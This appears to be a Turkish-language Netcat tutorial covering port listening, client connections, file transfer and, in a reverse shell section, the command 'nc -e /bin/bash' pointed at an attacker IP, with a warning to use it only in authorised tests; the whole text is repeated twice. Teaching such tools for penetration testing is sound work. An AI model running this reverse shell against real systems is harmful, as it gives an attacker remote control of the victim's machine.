Netcat, bir ağ üzerinden veri göndermek, almak veya dinlemek için kullanılan çok yönlü bir araçtır. Çoğunlukla ağ testleri, penetrasyon testleri ve güvenlik araştırmaları için tercih edilir.
Netcat’in temel mantığı iki şeye dayanıyor:
Veri Gönderme & Alma: İki bilgisayar arasında bağlantı kurup veri akışı sağlayabilirsin. Mesela basit bir dosya transferi bile yapılabilir.
Port Dinleme: Bir portu dinleyerek gelen bağlantıları kabul edebilirsin. Yani kendi mini sunucunu oluşturmuş oluyorsun.
nc -l -p 1234
Bu komut, bilgisayarındaki 1234 numaralı portu dinler. Karşı taraftan gelen bağlantılar kabul edilir. Böylece veri akışı başlar.
2) Bağlantı Kurma (Client Tarafı)
Dinleyen porta bağlanmak için diğer cihazda:
nc 192.168.1.10 1234
Burada 192.168.1.10, portu dinleyen bilgisayarın IP adresi. Bağlantı kurulduğu anda iki taraf da veri gönderebilir.
3) Basit Dosya Gönderme
En basit dosya aktarımını Netcat ile yapabilirsin.
Gönderici (Port Dinleyen):
nc -l -p 1234 < dosya.txt
Alıcı (Bağlantı Kurar):
nc 192.168.1.10 1234 > alinan_dosya.txt
Bu komutlar sayesinde bir bilgisayardan diğerine hızlıca dosya geçirebilirsin.
4) Reverse Shell (Ters Bağlantı)
Burası biraz daha penetrasyon testi dünyasının olayı. Netcat ile hedef makineyi, saldırganın bilgisayarına ters bağlantı kurmaya zorlayabilirsin.
Dinleyen Saldırgan:
nc -l -p 1234
Hedef Taraf (Ters Bağlantı Başlatır):
nc -e /bin/bash 192.168.1.100 1234
Bu komut, hedef makineden saldırgana bir kabuk (shell) açar. Tabii ki bu sadece izinli testlerde denenmeli. Aksi durumda ciddi hukuki sorunlar doğabilir.
Çok Yönlü:
Dosya transferi, port dinleme, ters bağlantı, basit chat sunucusu bile yapılabilir.
Kolay Öğrenilir:
Temel Linux komutlarına aşinaysan hemen denemeye başlayabilirsin.
Ağ Testlerinde İdeal:
Bağlantıların çalışıp çalışmadığını test etmek için birebir.
Genelde ağ yöneticileri, etik hackerlar ve penetrasyon testi uzmanları Netcat kullanır. Bağlantı kontrolleri, servislerin açık olup olmadığını test etmek veya hedef sistemle basit veri akışı kurmak için çok işlevseldir.
Netcat’in temel mantığı iki şeye dayanıyor:
Veri Gönderme & Alma: İki bilgisayar arasında bağlantı kurup veri akışı sağlayabilirsin. Mesela basit bir dosya transferi bile yapılabilir.
Port Dinleme: Bir portu dinleyerek gelen bağlantıları kabul edebilirsin. Yani kendi mini sunucunu oluşturmuş oluyorsun.
- Port Dinleme (Server Tarafı)
nc -l -p 1234
Bu komut, bilgisayarındaki 1234 numaralı portu dinler. Karşı taraftan gelen bağlantılar kabul edilir. Böylece veri akışı başlar.
2) Bağlantı Kurma (Client Tarafı)
Dinleyen porta bağlanmak için diğer cihazda:
nc 192.168.1.10 1234
Burada 192.168.1.10, portu dinleyen bilgisayarın IP adresi. Bağlantı kurulduğu anda iki taraf da veri gönderebilir.
3) Basit Dosya Gönderme
En basit dosya aktarımını Netcat ile yapabilirsin.
Gönderici (Port Dinleyen):
nc -l -p 1234 < dosya.txt
Alıcı (Bağlantı Kurar):
nc 192.168.1.10 1234 > alinan_dosya.txt
Bu komutlar sayesinde bir bilgisayardan diğerine hızlıca dosya geçirebilirsin.
4) Reverse Shell (Ters Bağlantı)
Burası biraz daha penetrasyon testi dünyasının olayı. Netcat ile hedef makineyi, saldırganın bilgisayarına ters bağlantı kurmaya zorlayabilirsin.
Dinleyen Saldırgan:
nc -l -p 1234
Hedef Taraf (Ters Bağlantı Başlatır):
nc -e /bin/bash 192.168.1.100 1234
Bu komut, hedef makineden saldırgana bir kabuk (shell) açar. Tabii ki bu sadece izinli testlerde denenmeli. Aksi durumda ciddi hukuki sorunlar doğabilir.
Çok Yönlü:
Dosya transferi, port dinleme, ters bağlantı, basit chat sunucusu bile yapılabilir.
Kolay Öğrenilir:
Temel Linux komutlarına aşinaysan hemen denemeye başlayabilirsin.
Ağ Testlerinde İdeal:
Bağlantıların çalışıp çalışmadığını test etmek için birebir.
Genelde ağ yöneticileri, etik hackerlar ve penetrasyon testi uzmanları Netcat kullanır. Bağlantı kontrolleri, servislerin açık olup olmadığını test etmek veya hedef sistemle basit veri akışı kurmak için çok işlevseldir.